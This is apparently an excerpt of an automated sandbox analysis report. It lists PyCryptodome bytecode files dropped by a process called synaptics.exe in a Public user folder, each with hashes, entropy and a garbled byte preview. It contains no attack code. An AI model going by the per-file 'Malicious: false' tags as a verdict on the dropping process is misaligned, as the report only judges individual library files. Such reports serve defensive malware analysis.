Preview:	o..........f.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.118274351448721
Encrypted:	false
SSDEEP:	6:y/ZlpQylud+Z/dZ6+4o+uaHxEM9ArM7BL9+:C362uAZ//6+4Tlh19+
MD5:	C88B54D5F2CF87725D3BBD632636A3E2
SHA1:	52A97A6BE18C581CE76F4651B049AF8569145309
SHA-256:	DCEEAB8204DD17F8AAA367FC2FDA9536AC0A3D42FD8E4A62F3DA3D7C7F115F1F
SHA-512:	9BE6B1EFC8F2A24CB202126631EEF7909B8F140B51217BAA427EE2067C041717C042EA5BCAB3A2EB6653201ACE253702584B00DA4D4153192FB39CAC8C04B57C
Malicious:	false
Reputation:	low
Preview:	o..........f1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\PublicKey\pycache\RSA.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	23799
Entropy (8bit):	5.5436089399767585
Encrypted:	false
SSDEEP:	384:Zh5ntLDIVVMEPHq5Bk2esJSEgEBNZU0VgwpPjpNRui1GwCO7NJZKY:ltwMES5m2nJoEdB/pPzPCO7XX
MD5:	3CD17EFF54CFF19C11CF72DBA8AEAFAE
SHA1:	55BDA90383639E9285839867AF0F40A71386D22A
SHA-256:	38A754A99C2AB51128D32E409399D94DFC4073316E457984D591EF1FE98BD2B1
SHA-512:	4AE870897BBF176F290E9081D4AB9A6F84635C18FEC2255B0937719D25633D53341E848D3ED413621C69D0E67FF2DD76D6B430F75EAC28D5A1BDE36299FA1F77
Malicious:	false
Reputation:	low
Preview:	o..........f.\|.......................@...s....g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d#d.d...Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"d%d d!..Z#e#Z$d"Z%d.S.)&)...generate..construct..import_key..RsaKey..oid.....N)...Random)...tobytes..bord..tostr)...DerSequence..DerNull)...bytes_to_long)...Integer)...test_probable_prime..generate_probable_prime..COMPOSITE)..._expand_subject_public_key_info.._create_subject_public_key_info. _extract_subject_public_key_infoc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z..6.5dKd7d8..Z.d9d:..Z.d;d<..Z d=d>..Z!d?d@..Z"dAdB..Z#dCdD..Z$dEdF..Z%dGdH..Z&dIdJ..Z'd5S.)Lr....a....Class defining an

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\PublicKey\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	5.396142590240559
Encrypted:	false
SSDEEP:	48:NwzSTw1WWXezNJeVvcsso0Gar/xCVf9SVY:lsk4UreRbsoiSx
MD5:	1F068416EBC1509D06B7A922BCF00DED
SHA1:	6109B9CF3A809D5BE23BA7EFA6175908AACBB2DC
SHA-256:	2E0E46452A58696628FCDE095EE30E633F18EAC4DAB47717FFF6387E306AA3DF
SHA-512:	E28274A318359A71EF35651570336CCCFA0E01F9DF649DFE9EB7EF6DF32879C3455B4716010798C267C230F0A00A40FB678F493E0029A14B3DF2838E37304EB0
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s8...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.d...Z.d.d...Z.d.S.)......)...DerSequence..DerInteger..DerBitString..DerObjectId..DerNullc....................C...s....t...j.\|.d.d...}.t...j.\|.d...d.d...}.t.....\|.d.....}.t.....\|.d.....j.}.t.\|...d.k.r,d.}.n.z.t.....\|.d.......d.}.W.n.......\|.d...}.Y.\|.j.\|.\|.f.S.).z.Parse a SubjectPublicKeyInfo structure... It returns a triple with:. * OID (string). * encoded public key (bytes). * Algorithm parameters (bytes or None). .......Z.nr_elementsr....)......r....r....N).r......decoder....r......value..lenr....)...encoded..spkiZ.algo..algo_oidZ.spkZ.algo_params..r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\PublicKey\__init__.py.._expand_subject_public_key_info....s............................r....c....................C...s@...\|.d.u.r.t.t.\|...g...}.n.t.t.\|...\|.g...}.t.\|.t.\|...g...}.\|.....S.).N).r....r....r......encode).r....Z.public_key..params..algorithmr....r....r....r...

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	4.6658059178113716
Encrypted:	false
SSDEEP:	24:NOtWRuX2i3FOd3krWhInkOCUqxUNRQj/jfhlHJ4fEByWkJwjGP4gE/:NZRHd02UEU9iDrtP6Af
MD5:	1FCEF4642458B7B2AEC8F4EDD8769514
SHA1:	8DFE507B35AA4B84A08E7797AC704334DC0A4B7D
SHA-256:	64AC92C155F44292FC051885661E0F40B19EF0CA378D3D082F33F0D9EE07DA73
SHA-512:	A67D8A79DAD11F2CBD0FD9B0FD17EA7C5AD83988DF77D5204876D554DD4F17F79D38C64541BB85DE69ADCC6A0388F62E91B4D52CD20DFF527160495FE5CFB2E0
Malicious:	false
Reputation:	low
Preview:	o..........fJ........................@...s<...d.d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.d...Z.e.Z.d.S.)...new..get_random_bytes.........urandomc....................@...s,...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._UrandomRNGc....................C...s....t.\|...S.).z0Return a random byte string of the desired size.r....)...self..n..r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\__init__.py..read....s......z._UrandomRNG.readc....................C........d.S...z0Method provided for backward compatibility only.Nr......r....r....r....r......flush!..........z._UrandomRNG.flushc....................C...r....r....r....r....r....r....r......reinit%...r....z._UrandomRNG.reinitc....................C...r....r....r....r....r....r....r......close)...r....z._UrandomRNG.closeN)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r....r........s..............r....c....................O...s....t...S.).zFReturn a file-like object that outputs cryptographi

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\pycache\random.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3396
Entropy (8bit):	5.311015065875513
Encrypted:	false
SSDEEP:	96:Gk/Yq7x6J5PPcWgudGUJFp9YY3sjuhXNvLHf85jL:GWY5PP7gO8Y31hdvLH6
MD5:	F4907389F0D7E69224178BCBE6D44A86
SHA1:	3F80396CACE704CF061AA5CAE2BE955C86DC0707
SHA-256:	633A3ED69A0F4FEEEEAF8E4D772228C55D0983FBC983C0E79C3AD91B83D67E20
SHA-512:	40A3BD59EC2CBD8BA48D9875E5E261DBF83F0029C191C4CC5AC6A4684E36C9304720955B518A1E7C8C010D068CC3D13ADDF7620CD594C9DC80C7DAA74F0546E1
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sv...g.d...Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.S.).)...StrongRandom..getrandbits..randrange..randint..choice..shuffle..sample.....)...Random)...is_native_intc....................@...sF...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...sX...\|.d.u.r.\|.d.u.r.d.\|._.d.S.\|.d.u.r.\|.d.u.r.\|.\|._.d.S.\|.d.u.r(\|.d.u.r(\|.j.\|._.d.S.t.d.....).Nz(Cannot specify both 'rng' and 'randfunc')..._randfunc..read..ValueError)...self..rng..randfunc..r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\random.py..__init__ ...s..................z.StrongRandom.__init__c....................C...s:...\|.j.d.u.r.t.....j.\|._.d.\|.>.d...}.\|.t.\|...t.\|.d.......@.S.).z%Return an integer with k random bits.N..........).r....r......newr......bytes_to_long..ceil_div).r......k..maskr....r....r....r....*...s............z.StrongRandom.getrandbitsc.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Signature\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.3437569578586555
Encrypted:	false
SSDEEP:	6:y/grG01/WlJnIsICA51dJyikQSKCUICAfeT37ZgAk+g8uaHxEM9ArMgA5762:CgrG09WllIVF1mikQ4NSDQ+g8VlhD762
MD5:	2D5E2D2B48FE9EB87DF6FE46A4E68C58
SHA1:	30E97612405568263B86BD0ACC67DAB72E72BF2D
SHA-256:	3BE20F38526BB469263A59EE82DEF3D3351CEDD0D58425BBEB9E1559A3826CCF
SHA-512:	00C2CC73F6EF8639140EDE48FC4EE39D12388EEA4CBB0ACF920B3322562D601B70C9578F87AA43CCD34CB2052242119CF15575E25132A80893F448863FBB6650
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.g.d...Z.d.S.).zeDigital signature protocols..A collection of standardized protocols to carry out digital signatures..).Z.PKCS1_v1_5Z.PKCS1_PSSZ.DSSZ.pkcs1_15Z.pssZ.eddsaN)...__doc__..__all__..r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Signature\__init__.py..<module>....s........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Signature\pycache\pss.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10800
Entropy (8bit):	5.325984156587778
Encrypted:	false
SSDEEP:	192:G1XsDu4taLRgOBEsNXAYcURRFNlm32KFO6GaVRlpBlYa:G18CI+RgslADURRV/KPGaVZBea
MD5:	F81D8D4FFACCF9EF1FA51E6CF5719783
SHA1:	98B3AACD50DDFD7288A2E87DB652525A1B2F6356
SHA-256:	5313A44318D3BE517B6F66C639A8A4A3CBB7B77EF9EB1D0F4998DB926D693B52
SHA-512:	EA56E60AE1A602F20EFDC3278F622D3C4E93D2FADE7F12E90B406D9C361FC452573B4574AA870EDBE6893FEAEC1538EA23FD942D2FC6B4B2CB813947A46FD179
Malicious:	false
Reputation:	low
Preview:	o..........f.6.......................@...sz...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...bchr..bord..iter_rangeN)...ceil_div..long_to_bytes..bytes_to_long)...strxor)...Randomc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PSS_SigSchemezvA signature object for ``RSASSA-PSS``.. Do not instantiate directly.. Use :func:`Crypto.Signature.pss.new`.. c....................C...s....\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).at...Initialize this PKCS#1 PSS signature scheme object... :Parameters:. key : an RSA key object. If a private half is given, both signature and. verification are possible.. If a public half is given, only verification is possible.. mgfunc : callable. A mask generation function that accepts two parameters:. a string to use as seed, and the lenth of the mask to. genera

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\Padding.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	5.4417595091627735
Encrypted:	false
SSDEEP:	48:NSEbQJrnAeKJdRXlkNyiFsx3miW7WlxeKbNRT7ytqmcQg:bbQJDAeqzHo2W6re637wg
MD5:	3706D32026C84A67F20EAA92C2C395AB
SHA1:	EDBD660872BDB8BB54F86F94521A94B07D778A1E
SHA-256:	51ABB579BC8B05AF83B5FFA799F8DE0B013B03F991673C53D8146DCE11454112
SHA-512:	C8E16EBEEE79A8162288011421AFA5AED305F696E4382238A26CA692D918C295756BCF84204F8E0E10B85D8B764EB40C39AD6EF945F108351917B6A7B2571AD4
Malicious:	false
Reputation:	low
Preview:	o..........fE........................@...s(...d.d.g.Z.d.d.l.T.d.d.d...Z.d.d.d...Z.d.S.)...pad..unpad.....).....pkcs7c....................C...s....\|.t.\|...\|.....}.\|.d.k.r.t.\|...\|...}.\|.\|...S.\|.d.k.rt.d...\|.d.....t.\|.....}.\|.\|...S.\|.d.k.r>t.d...t.d...\|.d.......}.\|.\|...S.t.d.....).a....Apply standard padding... Args:. data_to_pad (byte string):. The data that needs to be padded.. block_size (integer):. The block boundary to use for padding. The output length is guaranteed. to be a multiple of :data:`block_size`.. style (string):. Padding algorithm. It can be 'pkcs7' (default), 'iso7816' or 'x923'... Return:. byte string : the original data with the appropriate padding added at the end.. r......x923r...........iso7816......Unknown padding style)...len..bchr..ValueError).Z.data_to_pad..block_size..style..padding_len..padding..r.....EC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\Padding.pyr....'...s...............

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.873031507150908
Encrypted:	false
SSDEEP:	24:NKUilE4ApU2gWfri+RHvEIO4oFaQvuYjVrGivBlOh2/K:NFilbASgf++BcD4YaQVprGGBgR
MD5:	A207A1F466802102025E63FBA5B0E502
SHA1:	83C8865EEDF0EB6EAD6379476F122F31DB5D91EA
SHA-256:	2B0E5521DB488A45EE693FE27BDDB0184501FA891F7F5E0F99F0E59D6FD2EBBF
SHA-512:	BB20B789CC9276E71C7011DAC39A982B5838A5EF40930CCA0E66B4CD6DDA9BB41A8EDE16D4871B56940BC5B7C6707E3EEF5C3FBB0B644F0A4FCC28849AB1FCDB
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.g.d...Z.d.S.).a[...Miscellaneous modules..Contains useful modules that don't belong into any of the.other Crypto.* subpackages...======================== =============================================.Module Description.======================== =============================================.`Crypto.Util.number` Number-theoretic functions (primality testing, etc.).`Crypto.Util.Counter` Fast counter functions for CTR cipher modes..`Crypto.Util.RFC1751` Converts between 128-bit keys and human-readable. strings of words..`Crypto.Util.asn1` Minimal support for ASN.1 DER encoding.`Crypto.Util.Padding` Set of functions for adding and removing padding..======================== =============================================..:undocumented: _galois, _number_new, cpuid, py3compat, _raw_api.).Z.RFC1751..numberZ.strxorZ.asn1..CounterZ.PaddingN)...__doc__..__all__

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\_cpu_features.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	4.5930397087553985
Encrypted:	false
SSDEEP:	12:Cg/Q4UlabXgAin19S07ov8Vlh2mv99J+di+ymIm+l:NTUliQAin19SkXh2+J+dBIL
MD5:	2FFB368FB1F4936753669BC58C1D2F11
SHA1:	E41F8637159EDF678354AD635978BF7EB7B7B21A
SHA-256:	175F5DF25BEAB5CDE0EEB6AF705B0F991C3BF243FECCF63B9051A6B5C1D405F7
SHA-512:	2B30C91B8B9E7DAAAF30804A9C8E1547F5CD9FC0CF21CD1817C333C224C9C52FB423C7C7CAA5B5D25AD9325870A314E4ACC9A6B14C506C665F772E5F63D91B66
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s*...d.d.l.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_libz.Crypto.Util._cpuid_cz.. int have_aes_ni(void);. int have_clmul(void);. c....................C........t.....S...N)..._raw_cpuid_lib..have_aes_ni..r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\_cpu_features.pyr....)..........r....c....................C...r....r....).r......have_clmulr....r....r....r....r....-...r....r....N)...Crypto.Util._raw_apir....r....r....r....r....r....r....r......<module>....s................

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\_file_system.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	5.333276165807784
Encrypted:	false
SSDEEP:	24:NrLuapeA2HBZ8SlwC8ES3OyHzIh28M/3k:NrLu4YZkCkeyHzk8/0
MD5:	FFF6EC453349F44DAD87C1FAC87687D5
SHA1:	E2EA2906CDCF67A353F0B707036846B6EBB36AAE
SHA-256:	8AEBC720460E9386513C4077B960EDF54EB151CB0683F106D7029F9B6315F5E1
SHA-512:	A6228767611F37DF3B62CD375E3DCA2A2F7B4DE3760F14CAC27BF2AD5C48B8ABDA1DF54AFA950375D5CD14051CDF6054E00CA130FA4F98D24C9D84A97823A85B
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...sd...\|.d...d.k.r.t.d.....t.\|.d.d.......\|.g...}.t.j...t.j...t.....\.}.}.t.j...\|.d...}.t.j.j.\|.g.\|...R...S.).a....Return the complete file name for the module.. dir_comps : list of string. The list of directory names in the PyCryptodome package.. The first element must be "Crypto"... filename : string. The filename (inclusing extension) in the target directory.. r....Z.Cryptoz)Only available for modules under 'Crypto'.....Nz...)...ValueError..list..os..path..split..abspath..__file__..join)...dir_comps..filenameZ.util_lib.._Z.root_lib..r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\_file_system.py..pycryptodome_filename"...s................r....).r....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\_raw_api.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8730
Entropy (8bit):	5.205858648047069
Encrypted:	false
SSDEEP:	192:mfhLSEONC31/QtcU4/GPCenzp7Qb+RQrBIQIu7XNNHD0yXNvjB2IatSxB/dbJg1d:MhmEONC31ItcUGGPCenzp7Qb+RQrBIQO
MD5:	6B937059E98D26DC3EAF077D6294913D
SHA1:	1AFC6C5E8D9CB617D705578DC823B082B0232B54
SHA-256:	90AE5500B3386456BAC3DB43961FB00E24C22AAD133C268486CDB069CC7915F7
SHA-512:	7EA086DA739F93EFF55DA25D9A49321A78BA4375E3F425F2F98C3FCBF40F7EFE5E29AEF3C895E37BB0FFC1830100E781DA1A8940C5459CAE7FA3147C3460E4F3
Malicious:	false
Reputation:	low
Preview:	o..........f}.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.d...d.k.r:d.d.l.Z.g.Z.e.....D.].\.Z.Z.Z.e.e.j.k.r8e...e.....q)n.d.d.l.m.Z...e.j.Z.e.e.f.Z.G.d.d...d.e...Z.zkd.e.j.v.r_e.j.j.d.k.r_e.d.....e.j.d.k.rme.j.d.k.rme.d.....d.d.l.m.Z...e...Z.e.j Z!e.."e..#d.....Z$e..#d...j%j&Z'd.d...Z(d.d...Z)e)Ze)Z+e)Z,d.d...Z-d;d.d...Z.d.d...Z/d.d...Z0d.d...Z1G.d.d ..d e...Z2d!d"..Z3d#Z4W.nt..e...y.......d.d.l5Z5d.d$l5m6Z6m7Z7m8Z8m)Z)mZm-Z-m.Z.m,Z,m+Z+..d.d%l9m:Z:..d.d&l5m;Z'..d.Z!g.Z<d'd(..Z,d)d...Z(d*d...Z/d+d...Z0e5j=Z>d.Z?e5j@jAZBe5j@jCZDe5jEZFe5.Ge>..ZHG.d,d-..d-e5jI..ZJd.d...Z1G.d/d0..d0e...ZKd1d"..Z3d2Z4Y.n.w.G.d3d4..d4e...ZLd5d6..ZMd7d8..ZNd9d:..ZOd.S.)<.....N)...byte_string)...pycryptodome_filename.....)...machineryc....................@...s(...e.Z.d.Z.e.j.d.d.....Z.e.j.d.d.....Z.d.S.)..._VoidPointerc....................C........d.S.).z&Return the memory location we point toN......selfr....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\asn1.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	30875
Entropy (8bit):	5.22335411670978
Encrypted:	false
SSDEEP:	768:HzjEnqf1DECvkHf9R3OPtm6q3YZHjSgfShUUEV6:Hz8CIRePYN3YZHeDzEV6
MD5:	09E29690A49BBC4501A083E339F5085E
SHA1:	43E6AC799FB5644120E1616246B270ECFB30488C
SHA-256:	062C8AE410CD6E62A4B6B64B4D4C98CEDAE873A5936BBFEFC8F334FF1C1AA88C
SHA-512:	95964F50C25D97A73623682350191EC8437283E2BD98B1A52D441D81E885998812FDD4E7821D2B43565837D7656F62F25E68FCF61474A50182906A6558B5F5F4
Malicious:	false
Reputation:	low
Preview:	o..........fq........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.d.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...byte_string..bchr..bord)...long_to_bytes..bytes_to_long)...DerObject..DerInteger..DerBoolean..DerOctetString..DerNull..DerSequence..DerObjectId..DerBitString..DerSetOfFc....................C...s4...d.}.z.\|.\|...}.W.n...t.y.......Y.d.S.w.\|...p.\|.d.k.S.).Nr....F)...TypeError)...x..only_non_negative..test..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\asn1.py.._is_number(...s..................r....c....................@...s@...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BytesIO_EOFzeThis class differs from BytesIO in that a ValueError exception is. raised whenever EOF is reached.c....................C...s....\|.\|._.d.\|._.d.\|._.d.S...Nr....)..._buffer.._index.._bookm

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\number.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61128
Entropy (8bit):	5.246774965664733
Encrypted:	false
SSDEEP:	1536:y5hCN5kZjyUy0lwXEgNjOtg78YrIn6VhjlLQ5DR4wLDzwK2csHXV:y5QkpyUy0lsEgZOtg78sI6VTLQ5DRvv6
MD5:	9839C8CACA1D0C528CE4A356AE03454D
SHA1:	DA30A521EBBEB4469D0DEE89802E180839B02192
SHA-256:	AC302F77B19E805AA88C8D6B158CA88821547D01F190B91FA118B4D1981B74BA
SHA-512:	1A5B185BB64AECAC92DB362FCD9B07352DDDB569F577F30CA34CEBFFE165BD8BF02589704B464F0008B5D6527D8D6CD5DBE5E5A1AB3C9F203B86A075880C45A7
Malicious:	false
Reputation:	low
Preview:	o..........fh~.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.d(d.d...Z.d(d.d...Z.d(d.d...Z.e.j.d.d.....d.k.r>e.j.Z.n.d.d...Z.e.j.d.d.....d.k.rPd.d...Z.n.d.d...Z.d(d.d...Z.d(d.d...Z.d)d.d...Z.dd.d...Z.d.d.l.Z.d+d.d ..Z.d!d"..Z.d.d.l.Z.d+d#d$..Z.d%d&..Z.d'Z.d.S.),.....N)...Random)...iter_rangec....................C...sP...\|.d.k.r.t.....\|.d.k.s.\|.d.k.r.t.d.....t.\|.\|...\.}.}.\|.d.k.r&\|.d.k.r&\|.d.7.}.\|.S.).zDReturn ceil(n/d), that is, the smallest integer r such that rd >= nr....z.Non positive values.....)...ZeroDivisionError..ValueError..divmod)...n..d..r..q..r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\number.py..ceil_div%...s....................r....c....................C...s....\|.d.k.r.t.d.....\|.....S.).z)Returns the size of the number N in bits.r....z4Size in bits only available for non-negative numbers).r......bit_length)...Nr....r....r......size2...s..........r....c....................C...sZ...\|.d.u.r.t.j.}.\|.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\py3compat.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5247
Entropy (8bit):	4.923935118860882
Encrypted:	false
SSDEEP:	96:ZcF/EpktYDLOjIWTmpSaRBF7mgcsi/e/7/9whOJZg+6B6cGZ2B+uWc7xUK6It:ZW/EpkGUIW82bWzL0zJU+
MD5:	F7D90110B80B565EDEE6BF8F2C44D21F
SHA1:	E956C6E08533AEFFECB26E61D12CAE4D10D38AD9
SHA-256:	0A4EF52AB40D320AEDD714B7A8BAAC8170B24C58D44607FF1873CBE4D13CE596
SHA-512:	F52AAD4AB0FFFBBA045BEAC6CBD021E867F49BB6E26164462F71BD6051C6163EA8FF7EDA463580447E837A18BC9B0AB93D9D610F78AAD89FA28F649935D3CF9C
Malicious:	false
Reputation:	low
Preview:	o..........fz........................@...sX...d.Z.d.d.l.Z.d.d.l.Z.e.j.d...d.k.r[d.d...Z.d.d...Z.d.d...Z.d.d...Z.d0d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.l.m.Z...e.Z.d.d.l.m.Z...e.Z.d.d...Z.d.d...Z.d.d...Z.e...d.e.f.d.d.i...Z.e.Z.nId d...Z.d!d...Z.d"d...Z.d#d...Z.d0d$d...Z.d%d...Z.d&d...Z.d'd...Z.d.d(l.m.Z...d.d.l.m.Z...d.d)l.m.Z...e.Z.d*d...Z.d+d...Z.d,d...Z.d.d-l.m.Z...e.Z.d.d/..Z.[.[.d.S.)1a....Compatibility code for handling string/bytes changes from Python 2.x to Py3k..In Python 2.x, strings (of type ''str'') contain binary data, including encoded.Unicode text (e.g. UTF-8). The separate type ''unicode'' holds Unicode text..Unicode literals are specified via the u'...' prefix. Indexing or slicing.either type always produces a string of the same type as the original..Data read from a file is always of '''str'' type...In Python 3.x, strings (type ''str'') may only contain Unicode text. The u'...'.prefix and the ''unicode'' type are now redundant. A new type (called.''bytes'') has to b

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\pycache\strxor.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3258
Entropy (8bit):	5.105906166864861
Encrypted:	false
SSDEEP:	48:NYjdkxR/B0sI/LU/kwf+RDQ+XfxGRrccFVQuWP/Z6mQaG8PR02B4Ho4Uw7sR:+xkv/3WLJwyJforccFuz/Z6CG8G1hW
MD5:	DAEAD0B028EF37D6B3A42C7F1ED48672
SHA1:	C4C513572A7B2BC634AAD302D3C21319D16113EC
SHA-256:	8675F4C734F23C631134C318F01B457D2970979446CD2B5F9F53A342E22B1B59
SHA-512:	36599A30163DFF9EFDD7A44052BE00BCE6FCFF13B061B4DE928DA733E371973391C706E97E46D14BA83BB06DE1C35D227519250BC0C54BD7DB7D998DEA97BE16
Malicious:	false
Reputation:	low
